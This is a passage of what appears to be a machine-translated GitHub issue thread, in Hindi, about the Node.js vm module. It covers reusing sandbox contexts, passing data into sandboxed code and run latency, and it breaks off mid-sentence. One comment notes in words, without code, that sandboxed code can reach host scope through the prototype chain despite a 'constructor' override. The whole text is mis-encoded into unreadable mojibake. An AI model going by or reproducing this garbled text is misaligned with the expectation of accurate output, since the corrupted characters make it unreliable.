рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХреБрдЫ рдордирдорд╛рдирд╛ рдХреЛрдб рдХреИрд╕реЗ рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реВрдВред рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛтАЛтАЛрд╣реИ рдХрд┐ рдореЗрд░рд╛ рдЙрдкрдпреЛрдЧ рдорд╛рдорд▓рд╛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдмрддрд╛рдП рдЧрдП рд╕рдорд╛рди рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдореИрдВ рджреЗрдЦ рд░рд╣рд╛ рд╣реВрдВ рдХрд┐ рдореИрдВ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз рд╕реЗ рд╡реАрдПрдо рдХреЗ рдЕрдВрджрд░ рдЪрд▓ рд░рд╣реЗ рдХреЛрдб рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░/рддрд░реНрдХ рдХреИрд╕реЗ рдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред
рдЕрднреА рдореИрдВ рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ рджреЗрдЦ рд╕рдХрддрд╛ рд╣реВрдВ рдХрд┐ рд╣рд░ рдмрд╛рд░ рдПрдХ рдирдпрд╛ рд╕рдВрджрд░реНрдн рдмрдирд╛рдпрд╛ рдЬрд╛рдП рд▓реЗрдХрд┐рди рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдзреАрдорд╛ рд╣реИред рдореИрдВ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реВрдВ рдХрд┐ рдХреНрдпрд╛ рдореИрдВ рдПрдХ рд╕рдВрджрд░реНрдн рд╡рд╕реНрддреБ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВ рд▓реЗрдХрд┐рди рд╡реАрдПрдо рдХреЗ рдЕрдВрджрд░ рдЪрд▓ рд░рд╣реЗ рдХреЛрдб рдХреЛ рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдЕрдиреНрдп рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред @parasyte рдиреЗ Event()
рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреНрд╡рд┐рджрд┐рд╢ рд╕рдВрдЪрд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдмрддрд╛рдпрд╛ рд▓реЗрдХрд┐рди рдпрд╣ рдореЗрд░реЗ рд▓рд┐рдП рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рдерд╛ред
рдореИрдВ рд╕реЛрдЪ рд░рд╣рд╛ рдерд╛ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рднреА рдЗрд╕реА рддрд░рд╣ рдХреА рд╕рдорд╕реНрдпрд╛ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рдЖрдкрдиреЗ рдХрд┐рдпрд╛, рддреЛ рдХреНрдпрд╛ рдЖрдк рдХреБрдЫ рд╕реБрдЭрд╛рд╡ рд╕рд╛рдЭрд╛ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ рдХрд┐ рдЖрдкрдиреЗ рдЗрд╕реЗ рдХреИрд╕реЗ рд╣рд▓ рдХрд┐рдпрд╛? рдЖрдкрдХреЗ рд╕рдордп рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рджред
@darahayes : рдЕрд╕рд▓ рдореЗрдВ, рдореИрдВ рдкреНрд░рддреНрдпреЗрдХ рд░рди рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рд╕рдВрджрд░реНрдн рдмрдирд╛ рд░рд╣рд╛ рд╣реВрдВ, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдпрд╣ рдзреАрдорд╛ рдирд╣реАрдВ рд▓рдЧрддрд╛ рд╣реИред рдЖрдк рдХрд┐рд╕ рддрд░рд╣ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВ рдмрдирд╛рдо рдЖрдк рдХреНрдпрд╛ рдЙрдореНрдореАрдж рдХрд░ рд░рд╣реЗ рд╣реИрдВ? рдФрд░ рдЖрдк рдкреНрд░рджрд░реНрд╢рди рдХреЛ рдХреИрд╕реЗ рдорд╛рдк рд░рд╣реЗ рд╣реИрдВ?
рдореИрдВ рдкреНрд░рддреНрдпреЗрдХ рд░рди рдХреЗ рд▓рд┐рдП рдПрдХ рдирдИ рдиреЛрдбрдЬ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рддреИрдпрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реВрдВ, рдФрд░ рдпрд╣ рдЙрддрдирд╛ рдмреБрд░рд╛ рдирд╣реАрдВ рд╣реИ, 100 рдПрдордПрд╕ рд╕реЗ рдХрдо рдХреА рджреЗрд░реА рд╣реИред
рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рдЯрд┐рдкреНрдкрдгреА
рдЕрд░реНрдШ! рддреБрдо рдкрдХрдбрд╝ рд░рд╣реЗ рд╣реЛ! ;) рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдЖрдЧреЗ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЭреЗ рдорд╛рдлреА рдорд╛рдВрдЧрдиреА рдЪрд╛рд╣рд┐рдПред рдХрд┐рд╕реА рднреА рджрд░реНрд╢рдХ рдХреЗ рд▓рд┐рдП рд╡рд╣рд╛рдБ; рдиреЛрдб.рдЬреЗрдПрд╕ рдореЗрдВ рд╡реАрдПрдо рд╕реНрдХреЛрдк рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛ рд╣реЛрд╕реНрдЯ рд╕реНрдХреЛрдк рдореЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╣реИ (рдЬрд┐рд╕рд╕реЗ рдЖрдк рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдЪреЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рднреА рд╣реЛрд╕реНрдЯ рд╕реНрдХреЛрдк рдХрд╛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
рдЕрдм рдЬрдм рдЖрдкрдиреЗ
constructor
рд╕рдВрдкрддреНрддрд┐ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рддреЛ рдореБрдЭреЗ рдЗрд╕рдХреЗ рдиреАрдЪреЗ рдЬрд╛рдирд╛ рд╣реЛрдЧрд╛: